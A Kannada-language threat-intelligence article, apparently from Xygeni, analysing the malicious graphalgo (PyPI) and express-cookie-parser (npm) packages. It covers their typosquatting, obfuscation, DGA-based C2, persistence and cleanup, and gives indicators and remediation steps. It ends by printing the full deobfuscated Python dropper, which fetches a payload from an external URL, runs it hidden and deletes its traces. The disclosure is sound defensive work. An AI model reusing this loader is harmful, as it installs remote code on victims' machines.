2025 ರ ಸಾಫ್ಟ್‌ವೇರ್ ಪೂರೈಕೆ ಸರಪಳಿ ದಾಳಿಗಳ ಬಗ್ಗೆ ಒಂದು ಸೂಕ್ಷ್ಮ ನೋಟ

2025 ರಲ್ಲಿ ಸಾಫ್ಟ್‌ವೇರ್ ಪೂರೈಕೆ ಸರಪಳಿ ದಾಳಿಯ ಭೂದೃಶ್ಯದಲ್ಲಿ ಕ್ಸಿಜೆನಿ ಇತ್ತೀಚೆಗೆ ಒಂದು ಕಳವಳಕಾರಿ ಮಾದರಿಯನ್ನು ಗಮನಿಸಿದೆ., ಎರಡು ಜನಪ್ರಿಯ ಪ್ಯಾಕೇಜ್ ಮ್ಯಾನೇಜರ್‌ಗಳಲ್ಲಿ ಹೊರಹೊಮ್ಮುತ್ತಿದೆ: ಪೈಪಿಐ ಮತ್ತು npm. ನಮ್ಮ ನಿರಂತರ ಬೆದರಿಕೆ ಗುಪ್ತಚರ ಪ್ರಯತ್ನಗಳ ಭಾಗವಾಗಿ,ಕ್ಸಿಜೆನಿಯ ಮಾಲ್‌ವೇರ್ ಮುನ್ನೆಚ್ಚರಿಕೆ (MEW) ಈ ಹಿಂದೆ ಮತ್ತೊಂದು ನೋಂದಾವಣೆಗೆ ಅಪ್‌ಲೋಡ್ ಮಾಡಲಾದ ದುರುದ್ದೇಶಪೂರಿತ ಪ್ಯಾಕೇಜ್‌ನ ವಿಶಿಷ್ಟ ಆದರೆ ಕ್ರಮಶಾಸ್ತ್ರೀಯವಾಗಿ ಹೋಲುವ ನಿದರ್ಶನವನ್ನು ಉಪಕರಣವು ಗುರುತಿಸಿದೆ. ಈ ಪ್ರಕರಣವು ಬೆದರಿಕೆ ನಟರು ಪರಿಸರ ವ್ಯವಸ್ಥೆಗಳಲ್ಲಿ, ವಿಶೇಷವಾಗಿ ಮೂಲಕ ದಾಳಿ ತಂತ್ರಗಳನ್ನು ಹೇಗೆ ವಿಕಸನಗೊಳಿಸುತ್ತಿದ್ದಾರೆ ಮತ್ತು ಮರುಬಳಕೆ ಮಾಡುತ್ತಿದ್ದಾರೆ ಎಂಬುದನ್ನು ಎತ್ತಿ ತೋರಿಸುತ್ತದೆ ದುರುದ್ದೇಶಪೂರಿತ ಪೈಥಾನ್ ಪ್ಯಾಕೇಜುಗಳು ಮತ್ತು ದುರುದ್ದೇಶಪೂರಿತ npm ಪ್ಯಾಕೇಜ್‌ಗಳು, ಇದು ಮುಕ್ತ ಮೂಲ ಪೂರೈಕೆ ಸರಪಳಿಗಳಿಗೆ ದುರುದ್ದೇಶಪೂರಿತ ಪ್ಯಾಕೇಜ್‌ಗಳು ನುಸುಳುವ ಅಪಾಯವನ್ನು ಹೆಚ್ಚಿಸುತ್ತದೆ.

ಕ್ಸಿಜೆನಿಯ MEW: ಹೋಲಿಕೆಗಳನ್ನು ಗುರುತಿಸುವುದು

ಕ್ಸಿಜೆನಿಯ MEW ಪರಿಕರವು ದುರುದ್ದೇಶಪೂರಿತ ಪ್ಯಾಕೇಜ್‌ಗಳನ್ನು ಪತ್ತೆಹಚ್ಚಲು ಮತ್ತು ಫ್ಲ್ಯಾಗ್ ಮಾಡಲು ನಿರ್ಮಿಸಲಾಗಿದೆ, ವಿಶೇಷವಾಗಿ 2025 ರಲ್ಲಿ ಸಾಫ್ಟ್‌ವೇರ್ ಸರಬರಾಜು ಸರಪಳಿ ದಾಳಿಗಳಿಗೆ ಲಿಂಕ್ ಮಾಡಲಾದವುಗಳನ್ನು, ಅವು ಓಪನ್-ಸೋರ್ಸ್ ರಿಜಿಸ್ಟ್ರಿಗಳಿಗೆ ಪ್ರಕಟವಾದ ತಕ್ಷಣ. ಅನುಮಾನಾಸ್ಪದ ನಡವಳಿಕೆಗಾಗಿ ಹೊಸ ಪ್ಯಾಕೇಜ್‌ಗಳನ್ನು ವಿಶ್ಲೇಷಿಸುವ ಮೂಲಕ ಇದು ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ.

ಈ ಸಂದರ್ಭದಲ್ಲಿ, ಅದು ಎರಡು ಗುರುತಿಸಿದೆ ದುರುದ್ದೇಶಪೂರಿತ ಪೈಥಾನ್ ಪ್ಯಾಕೇಜುಗಳು (graphalgo PyPI ನಲ್ಲಿ) ಮತ್ತು ದುರುದ್ದೇಶಪೂರಿತ npm ಪ್ಯಾಕೇಜ್‌ಗಳು (express-cookie-parser npm ನಲ್ಲಿ).

ಸಾಫ್ಟ್‌ವೇರ್ ಪೂರೈಕೆ ಸರಪಳಿ ದಾಳಿಗಳಲ್ಲಿ ದುರುದ್ದೇಶಪೂರಿತ ಪೈಥಾನ್ ಮತ್ತು npm ಪ್ಯಾಕೇಜುಗಳು (2025)

ನಮ್ಮ ಎಚ್ಚರಿಕೆಗಳನ್ನು ಪ್ರಚೋದಿಸಿದ ಹಂಚಿಕೆಯ ಗುಣಲಕ್ಷಣಗಳನ್ನು ಅನ್ವೇಷಿಸೋಣ:

ಟೈಪೊಸ್ಕ್ವಾಟಿಂಗ್

ಅವರಿಬ್ಬರೂ ಜನಪ್ರಿಯ ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ಪ್ಯಾಕೇಜ್‌ಗಳನ್ನು ಅನುಕರಿಸಲು ಪ್ರಯತ್ನಿಸಿದರು.

ಗ್ರಾಫಲ್ಗೊ (ಪೈಪಿಐ): "ಗ್ರಾಫ್‌ಗಳು ಮತ್ತು ನೆಟ್‌ವರ್ಕ್‌ಗಳನ್ನು ರಚಿಸಲು ಮತ್ತು ನಿರ್ವಹಿಸಲು ಪೈಥಾನ್ ಪ್ಯಾಕೇಜ್.” ಹೆಸರಿನ ಬಳಕೆದಾರರಿಂದ ಅಪ್‌ಲೋಡ್ ಮಾಡಲಾಗಿದೆ "ಲ್ಯಾರಿಟೆಕ್" ಜೂನ್ 13, 2025 ರಂದು, ಈ ಪ್ಯಾಕೇಜ್ ತನ್ನನ್ನು ಮೂಲ ದುರುದ್ದೇಶಪೂರಿತವಲ್ಲದ ಗ್ರಾಫಲ್ಗೊ ಯೋಜನೆಗೆ PyPi ಪರ್ಯಾಯವಾಗಿ ಪ್ರಸ್ತುತಪಡಿಸಿತು, ನಂತರ ಇದನ್ನು ಗ್ರಾಫಿಕ್ಡಿಕ್ಟ್ ಎಂದು ಮರುನಾಮಕರಣ ಮಾಡಲಾಯಿತು.
ಎಕ್ಸ್‌ಪ್ರೆಸ್-ಕುಕೀ-ವಿಶ್ಲೇಷಕ (npm): ಈ ಪ್ಯಾಕೇಜ್ ಪ್ರಸಿದ್ಧ ಕುಕೀ-ಪಾರ್ಸರ್ ಪ್ಯಾಕೇಜ್ ಅನ್ನು ಅನುಕರಿಸಿತು, ಅದರ README.md. ಅಂತಹ ಸೋಗು ಹಾಕುವಿಕೆಯು ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ನಂಬಿಕೆಯನ್ನು ಬಳಸಿಕೊಳ್ಳುವ ಒಂದು ಶ್ರೇಷ್ಠ ತಂತ್ರವಾಗಿದೆ.

ರಕ್ಷಣೆಯ ಮೊದಲ ಸಾಲಿನಂತೆ ಗೊಂದಲಗೊಳಿಸುವಿಕೆ

ಎರಡೂ ಪ್ಯಾಕೇಜ್‌ಗಳು ತಮ್ಮ ದುರುದ್ದೇಶಪೂರಿತ ಕೋಡ್ ಅನ್ನು ಮೂಲ ಫೈಲ್‌ಗಳಲ್ಲಿ ಅಸ್ಪಷ್ಟಗೊಳಿಸಿವೆ. ಗ್ರಾಫಲ್ಗೊ, ಅಸ್ಪಷ್ಟ ಕೋಡ್ ಒಳಗೆ ಕಂಡುಬಂದಿದೆ /utils/load_libraries.py. ಸಂದರ್ಭದಲ್ಲಿ ಎಕ್ಸ್‌ಪ್ರೆಸ್-ಕುಕೀ-ವಿಶ್ಲೇಷಕ, cookie-loader.min.js ಅಸ್ಪಷ್ಟವಾದ ಪೇಲೋಡ್ ಅನ್ನು ಒಳಗೊಂಡಿತ್ತು.

ಈ ಆರಂಭಿಕ ಮಸುಕುಗೊಳಿಸುವ ಪದರವನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಸಾಂದರ್ಭಿಕ ತಪಾಸಣೆ ಮತ್ತು ಸ್ಥಿರ ವಿಶ್ಲೇಷಣೆಯನ್ನು ತಡೆಯಲು ಬಳಸಲಾಗುತ್ತದೆ. ಮಸುಕುಗೊಳಿಸುವ ವಿಧಾನವು ಸರಳವಾಗಿತ್ತು: ಪುನರಾವರ್ತಿತ ZLib ಸಂಕೋಚನ ಮತ್ತು Base64 ಎನ್‌ಕೋಡಿಂಗ್. ಈ ರೀತಿಯ ಮಸುಕುಗೊಳಿಸುವ ವಿಧಾನವು ಸಾಫ್ಟ್‌ವೇರ್ ತನ್ನ ನಡವಳಿಕೆಯನ್ನು ಮರೆಮಾಡಲು ಪ್ರಯತ್ನಿಸುತ್ತಿದೆ ಎಂದು ಸ್ಪಷ್ಟವಾಗಿ ಸೂಚಿಸುತ್ತದೆ. ಇತರ ಪುರಾವೆಗಳ ಜೊತೆಗೆ, ಇದು Xygeni MEW ಪ್ಯಾಕೇಜ್‌ಗಳನ್ನು ಸಂಭಾವ್ಯ ಮಾಲ್‌ವೇರ್ ಎಂದು ವರ್ಗೀಕರಿಸಲು ಅವಕಾಶ ಮಾಡಿಕೊಟ್ಟಿತು. ದೃಢೀಕರಣ ಹಂತದಲ್ಲಿ, ನಮ್ಮ ವಿಮರ್ಶಕರು ಸ್ಪಷ್ಟವಾಗಿ ದುರುದ್ದೇಶಪೂರಿತ ಡ್ರಾಪ್ಪರ್ ಹಂತವನ್ನು ಬಹಿರಂಗಪಡಿಸುವ ಡಿಯೋಬ್‌ಫಸ್ಕೇಶನ್ ಸ್ಕ್ರಿಪ್ಟ್ ಅನ್ನು ತಕ್ಷಣವೇ ಸಿದ್ಧಪಡಿಸಿದರು.

ಬಹು-ಹಂತದ ಪೇಲೋಡ್ ವಿತರಣೆ ಮತ್ತು ಹಂಚಿಕೆಯ ಮೂಲ ಬಿಂದು

ಎರಡೂ ಪ್ಯಾಕೇಜ್‌ಗಳು ಆರಂಭಿಕ “ಡ್ರಾಪ್ಪರ್ಸ್"," ನಿಜವಾದ ಪೇಲೋಡ್‌ಗೆ ವೇದಿಕೆಯನ್ನು ಸಿದ್ಧಪಡಿಸುತ್ತಿದೆ. ಅವರು ಸಾಮಾನ್ಯ ಬಾಹ್ಯ "" ಅನ್ನು ಹಂಚಿಕೊಂಡರು.ಬೀಜ"ಫೈಲ್ URL:"
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

ಈ ಒಂದೇ ರೀತಿಯ ಬಾಹ್ಯ ಸೀಡ್ ಫೈಲ್ ಹಂಚಿಕೆಯ ಬೆದರಿಕೆ ನಟನ ಬಲವಾದ ಸೂಚಕವಾಗಿದೆ. ಕುತೂಹಲಕಾರಿಯಾಗಿ, ಈ ಸೀಡ್ ಫೈಲ್‌ನ ವಿಷಯವು ಸರಳ ಪರಿಸರ ವೇರಿಯಬಲ್‌ಗಳಂತೆ ಕಾಣುತ್ತದೆ (ಉದಾ, JWT_SECRET, PORT), ಇದು ಅದರ ನಿಜವಾದ ಕಾರ್ಯಕ್ಕೆ ಸಂಭಾವ್ಯವಾಗಿ ತಪ್ಪುದಾರಿಗೆಳೆಯುವ ಪರಿಶೀಲನೆಯಾಗಿದೆ.

DGA ಜೊತೆಗೆ ಡೈನಾಮಿಕ್ C2 ರೆಸಲ್ಯೂಶನ್

ಈ ದುರುದ್ದೇಶಪೂರಿತ ಪ್ಯಾಕೇಜ್‌ಗಳಲ್ಲಿ ಕಂಡುಬರುವ ಒಂದು ಅತ್ಯಾಧುನಿಕ ತಂತ್ರವೆಂದರೆ ಕಮಾಂಡ್ ಮತ್ತು ಕಂಟ್ರೋಲ್ (C2) ಸರ್ವರ್ ಅನ್ನು ಕ್ರಿಯಾತ್ಮಕವಾಗಿ ಪರಿಹರಿಸಲು ಡೊಮೇನ್ ಜನರೇಷನ್ ಅಲ್ಗಾರಿದಮ್ (DGA) ಅನ್ನು ಬಳಸುವುದು. 2025 ರಲ್ಲಿ ಮುಂದುವರಿದ ಸಾಫ್ಟ್‌ವೇರ್ ಪೂರೈಕೆ ಸರಪಳಿ ದಾಳಿಗಳಲ್ಲಿ ಹೆಚ್ಚಾಗಿ ಕಂಡುಬರುವ ಈ ತಂತ್ರವು, ಇತರ ಹಾರ್ಡ್‌ಕೋಡ್ ಮಾಡಲಾದ ಮೌಲ್ಯಗಳೊಂದಿಗೆ ಸಂಯೋಜಿಸಲ್ಪಟ್ಟ ಸೀಡ್ ಫೈಲ್‌ನ ವಿಷಯದಿಂದ ಪಡೆದ SHA256 ಹ್ಯಾಶ್ ಅನ್ನು ಅವಲಂಬಿಸಿದೆ. ಹಾಗೆ ಮಾಡುವುದರಿಂದ, C2 ಮೂಲಸೌಕರ್ಯವು ಆಗಾಗ್ಗೆ ಬದಲಾಗುತ್ತದೆ, ಇದು ಸಾಂಪ್ರದಾಯಿಕ ಕಪ್ಪುಪಟ್ಟಿಯನ್ನು ಕಡಿಮೆ ಪರಿಣಾಮಕಾರಿಯಾಗಿ ಮಾಡುತ್ತದೆ. ಈ ಸಂದರ್ಭದಲ್ಲಿ, npm ರೂಪಾಂತರವು ಸ್ಥಿರ ಮೌಲ್ಯವನ್ನು ಬಳಸಿದೆ 496AAC7E ಅದರ DGA ತರ್ಕದ ಭಾಗವಾಗಿ.

ನಿರಂತರತೆಯನ್ನು ಸ್ಥಾಪಿಸುವುದು

ಪೀಡಿತ ವ್ಯವಸ್ಥೆಗಳಲ್ಲಿ ಶಾಶ್ವತ ಉಪಸ್ಥಿತಿಯನ್ನು ಸ್ಥಾಪಿಸಲು ಇಬ್ಬರೂ ದಾಳಿಕೋರರು ಪ್ರಯತ್ನಿಸಿದರು. ಅವರ ತಂತ್ರವೆಂದರೆ ಫೈಲ್ ಅನ್ನು ಕೈಬಿಡುವುದು, startup.py (PyPi ಗಾಗಿ) ಅಥವಾ startup.js (npm ಗಾಗಿ), ವಿವಿಧ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ಗಳಲ್ಲಿ (Windows, Linux, macOS) ಸಾಮಾನ್ಯ Google Chrome ಬಳಕೆದಾರ ಡೇಟಾ ಡೈರೆಕ್ಟರಿಗಳಿಗೆ.

ಮರಣದಂಡನೆಯ ನಂತರದ ಶುಚಿಗೊಳಿಸುವಿಕೆ

ಕುರುಹುಗಳನ್ನು ಕಡಿಮೆ ಮಾಡಲು, ಎರಡೂ ದುರುದ್ದೇಶಪೂರಿತ ಸ್ಕ್ರಿಪ್ಟ್‌ಗಳು ಸ್ವಚ್ಛಗೊಳಿಸುವ ಕಾರ್ಯಾಚರಣೆಗಳನ್ನು ನಿರ್ವಹಿಸಿದವು. ಇದರಲ್ಲಿ ಅವುಗಳ ಆರಂಭಿಕ ಡ್ರಾಪ್ಪರ್ ಫೈಲ್‌ಗಳನ್ನು ಅಳಿಸುವುದು ಸೇರಿದೆ (load_libraries.py, cookie-loader.min.js) ಮತ್ತು ಕಾನೂನುಬದ್ಧ ಪ್ಯಾಕೇಜ್ ಫೈಲ್‌ಗಳನ್ನು ಮಾರ್ಪಡಿಸುವುದು (__init__.py, index.js) ಈಗ ಅಳಿಸಲಾದ ಘಟಕಗಳ ಉಲ್ಲೇಖಗಳನ್ನು ತೆಗೆದುಹಾಕಲು.

ದುರುದ್ದೇಶಪೂರಿತ ಪೈಥಾನ್ ಮತ್ತು npm ಪ್ಯಾಕೇಜ್‌ಗಳಲ್ಲಿ ರಾಜಿ ಸೂಚಕಗಳು

PyPI ಪ್ಯಾಕೇಜ್: ಗ್ರಾಫಲ್ಗೊ (ಲ್ಯಾರಿಟೆಕ್ ಪ್ರಕಟಿಸಿದ್ದು, ಜೂನ್ 13, 2025)
npm ಪ್ಯಾಕೇಜ್: ಎಕ್ಸ್‌ಪ್ರೆಸ್-ಕುಕೀ-ಪಾರ್ಸರ್ (ನಿರ್ದಿಷ್ಟವಾಗಿ ಆವೃತ್ತಿ 1.4.12)
ಹಂಚಿದ ಬೀಜ URL ಗೆ ಪ್ರವೇಶ:

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

ಶಾಶ್ವತ ಫೈಲ್ ಹೆಸರುಗಳು: startup.py (ಹೆಬ್ಬಾವು) startup.js (ಜಾವಾಸ್ಕ್ರಿಪ್ಟ್)
ಸಾಮಾನ್ಯ ನಿರಂತರ ಮಾರ್ಗಗಳು (OS-ಅವಲಂಬಿತ): Google Chrome ಬಳಕೆದಾರ ಡೇಟಾ ಡೈರೆಕ್ಟರಿಗಳಲ್ಲಿ (ಉದಾ, AppData\Local\Google\Chrome\UserData\Scripts\ ವಿಂಡೋಸ್‌ನಲ್ಲಿ, ~/.config/google-chrome/Scripts/ ಲಿನಕ್ಸ್, ಇತ್ಯಾದಿಗಳಲ್ಲಿ).

2025 ರ ಸಾಫ್ಟ್‌ವೇರ್ ಪೂರೈಕೆ ಸರಪಳಿ ದಾಳಿಗಳಲ್ಲಿ ದುರುದ್ದೇಶಪೂರಿತ ಪ್ಯಾಕೇಜ್‌ಗಳ ವಿರುದ್ಧ ಹೇಗೆ ರಕ್ಷಿಸಿಕೊಳ್ಳುವುದು

ಡೆವಲಪರ್‌ಗಳಿಗೆ ಶಿಫಾರಸು ಮಾಡಲಾದ ವಿಧಾನ

2025 ರಲ್ಲಿ ಸಾಫ್ಟ್‌ವೇರ್ ಪೂರೈಕೆ ಸರಪಳಿ ದಾಳಿಯ ವಿಕಸನಗೊಳ್ಳುತ್ತಿರುವ ಬೆದರಿಕೆ ಭೂದೃಶ್ಯದಲ್ಲಿ ಈ ಘಟನೆಯು ಒಂದು ಅಮೂಲ್ಯವಾದ ಪ್ರಕರಣ ಅಧ್ಯಯನವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ. ದುರುದ್ದೇಶಪೂರಿತ ಪೈಥಾನ್ ಪ್ಯಾಕೇಜ್‌ಗಳು ಮತ್ತು ದುರುದ್ದೇಶಪೂರಿತ npm ಪ್ಯಾಕೇಜ್‌ಗಳು ವಿಶ್ವಾಸಾರ್ಹ ಪರಿಸರ ವ್ಯವಸ್ಥೆಗಳಿಗೆ ಹೇಗೆ ಜಾರಿಕೊಳ್ಳಬಹುದು ಎಂಬುದನ್ನು ಇದು ಎತ್ತಿ ತೋರಿಸುತ್ತದೆ, ಆಗಾಗ್ಗೆ ತಡವಾಗುವವರೆಗೆ ಪತ್ತೆಹಚ್ಚುವಿಕೆಯಿಂದ ತಪ್ಪಿಸಿಕೊಳ್ಳುತ್ತದೆ. ಅದಕ್ಕಾಗಿಯೇ ಆರಂಭಿಕ ಪತ್ತೆ, ಸ್ಮಾರ್ಟ್ ಪರಿಕರಗಳು ಮತ್ತು ಪೂರ್ವಭಾವಿ ವ್ಯವಸ್ಥೆಯ ನೈರ್ಮಲ್ಯವು ಈಗ ಯಾವುದೇ ಸುರಕ್ಷಿತ DevOps ಕೆಲಸದ ಹರಿವಿನ ಅಗತ್ಯ ಭಾಗಗಳಾಗಿವೆ. ಡೆವಲಪರ್‌ಗಳು ಈ ಕೆಳಗಿನವುಗಳನ್ನು ಪರಿಗಣಿಸಲು ಪ್ರೋತ್ಸಾಹಿಸಲಾಗುತ್ತದೆ:

ಅವಲಂಬನೆ ವಿಮರ್ಶೆ

ನಿಮ್ಮ ಯೋಜನೆಗಳು ಒಳಗೊಂಡಿದ್ದರೆ ಗ್ರಾಫಲ್ಗೊ or ಎಕ್ಸ್‌ಪ್ರೆಸ್-ಕುಕೀ-ವಿಶ್ಲೇಷಕ, ಅವುಗಳನ್ನು ತೆಗೆದುಹಾಕುವ ಕೆಲಸ ಮುಂದುವರಿಸುವುದು ವಿವೇಕಯುತವಾಗಿರುತ್ತದೆ.

PyPI ಗಾಗಿ: pip uninstall graphalgo
npm ಗಾಗಿ: npm uninstall express-cookie-parser

ವ್ಯವಸ್ಥೆಯ ನೈರ್ಮಲ್ಯ

ಸಮಗ್ರ ಸಿಸ್ಟಮ್ ಸ್ಕ್ಯಾನ್ ನಡೆಸುವುದನ್ನು ಪರಿಗಣಿಸಿ. ಯಾವುದೇ ಅನಿರೀಕ್ಷಿತ ದೋಷಗಳಿಗಾಗಿ ಸಾಮಾನ್ಯ Chrome ಬಳಕೆದಾರ ಡೇಟಾ ಡೈರೆಕ್ಟರಿ ಮಾರ್ಗಗಳನ್ನು ಹಸ್ತಚಾಲಿತವಾಗಿ ಪರಿಶೀಲಿಸುವುದು ಸಹ ಸೂಕ್ತವಾಗಿದೆ. startup.py or startup.js ಕಡತಗಳನ್ನು.

ಪೂರ್ವಭಾವಿ ಭದ್ರತಾ ಕ್ರಮಗಳು

ಹೊಸ ಅವಲಂಬನೆಗಳನ್ನು ನಿರ್ಣಯಿಸಿ: ಹೊಸ ಪ್ಯಾಕೇಜ್‌ಗಳನ್ನು ಏಕೀಕರಣಗೊಳಿಸುವ ಮೊದಲು ಸಂಪೂರ್ಣವಾಗಿ ಮೌಲ್ಯಮಾಪನ ಮಾಡುವ ದಿನಚರಿಯನ್ನು ಸ್ಥಾಪಿಸಿ, ಪರಿಚಯವಿಲ್ಲದ ಪ್ರಕಾಶಕರ ಮೇಲೆ ಕೇಂದ್ರೀಕರಿಸಿ.
ಭದ್ರತಾ ಪರಿಕರಗಳನ್ನು ಸಂಯೋಜಿಸಿ: Xygeni's MEW ನಂತಹ ಪರಿಕರಗಳು, ಜೊತೆಗೆ ಇತರ ಸಾಫ್ಟ್‌ವೇರ್ ಸಂಯೋಜನೆ ವಿಶ್ಲೇಷಣೆ (SCA) ಪರಿಹಾರಗಳು, ಅನುಮಾನಾಸ್ಪದ ನಡವಳಿಕೆಗಳು ಮತ್ತು ದುರ್ಬಲತೆಗಳನ್ನು ಗುರುತಿಸುವ ಮೂಲಕ ರಕ್ಷಣೆಯ ನಿರ್ಣಾಯಕ ಪದರವನ್ನು ಒದಗಿಸಬಹುದು.
ಕನಿಷ್ಠ ಸವಲತ್ತು: ಕನಿಷ್ಠ ಸವಲತ್ತಿನ ತತ್ವದೊಂದಿಗೆ ಅಭಿವೃದ್ಧಿ ಪರಿಸರಗಳನ್ನು ನಿರ್ವಹಿಸುವುದು ರಾಜಿಯ ಸಂಭಾವ್ಯ ಪರಿಣಾಮವನ್ನು ಮಿತಿಗೊಳಿಸಲು ಸಹಾಯ ಮಾಡುತ್ತದೆ.
ನೆಟ್‌ವರ್ಕ್ ಜಾಗೃತಿ: ಅಸಾಮಾನ್ಯ ಸಂಪರ್ಕಗಳಿಗಾಗಿ ಹೊರಹೋಗುವ ನೆಟ್‌ವರ್ಕ್ ಟ್ರಾಫಿಕ್ ಅನ್ನು ಮೇಲ್ವಿಚಾರಣೆ ಮಾಡುವುದರಿಂದ ಕೆಲವೊಮ್ಮೆ DGA-ರಚಿತ C2 ಸಂವಹನಗಳನ್ನು ಬಹಿರಂಗಪಡಿಸಬಹುದು.

ನ ಪ್ರಮುಖ ಅಂಶಗಳು `load_libraries.py` (ಗ್ರಾಫಲ್ಗೊದಿಂದ)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

download_remote_content(): ನಿರ್ದಿಷ್ಟ URL ಗಳಿಂದ ಫೈಲ್‌ಗಳನ್ನು ಪಡೆಯುವುದನ್ನು ನಿರ್ವಹಿಸುತ್ತದೆ.
run_process(): ಬಾಹ್ಯ ಪೈಥಾನ್ ಸ್ಕ್ರಿಪ್ಟ್‌ಗಳನ್ನು ಬೇರ್ಪಟ್ಟ ರೀತಿಯಲ್ಲಿ ಕಾರ್ಯಗತಗೊಳಿಸುತ್ತದೆ, ವಿವೇಚನಾಯುಕ್ತವಾಗಿ ಉಳಿಯಲು ಔಟ್‌ಪುಟ್ ಅನ್ನು ನಿಗ್ರಹಿಸುತ್ತದೆ.
get_output_file_path(): ನಿರಂತರ startup.py ಫೈಲ್‌ಗೆ ಸೂಕ್ತವಾದ ಸಿಸ್ಟಮ್ ಸ್ಥಳವನ್ನು ನಿರ್ಧರಿಸುತ್ತದೆ.
remove_self(): ಆರಂಭಿಕ ದುರುದ್ದೇಶಪೂರಿತ ಫೈಲ್‌ಗಳು ಮತ್ತು ಪ್ಯಾಕೇಜ್ ಮಾರ್ಪಾಡುಗಳ ಕಾರ್ಯಗತಗೊಳಿಸುವಿಕೆಯ ನಂತರದ ಶುಚಿಗೊಳಿಸುವಿಕೆಯನ್ನು ಆಯೋಜಿಸುತ್ತದೆ.
simple_shift_encrypt() / simple_shift_decrypt(): ಸಂವಹನ ಮಾರ್ಗಗಳನ್ನು ಅಸ್ಪಷ್ಟಗೊಳಿಸಲು ಕಸ್ಟಮ್ ಕ್ರಿಪ್ಟೋಗ್ರಾಫಿಕ್ ಕಾರ್ಯಗಳು, DGA ಅನುಷ್ಠಾನಕ್ಕೆ ನಿರ್ಣಾಯಕ.
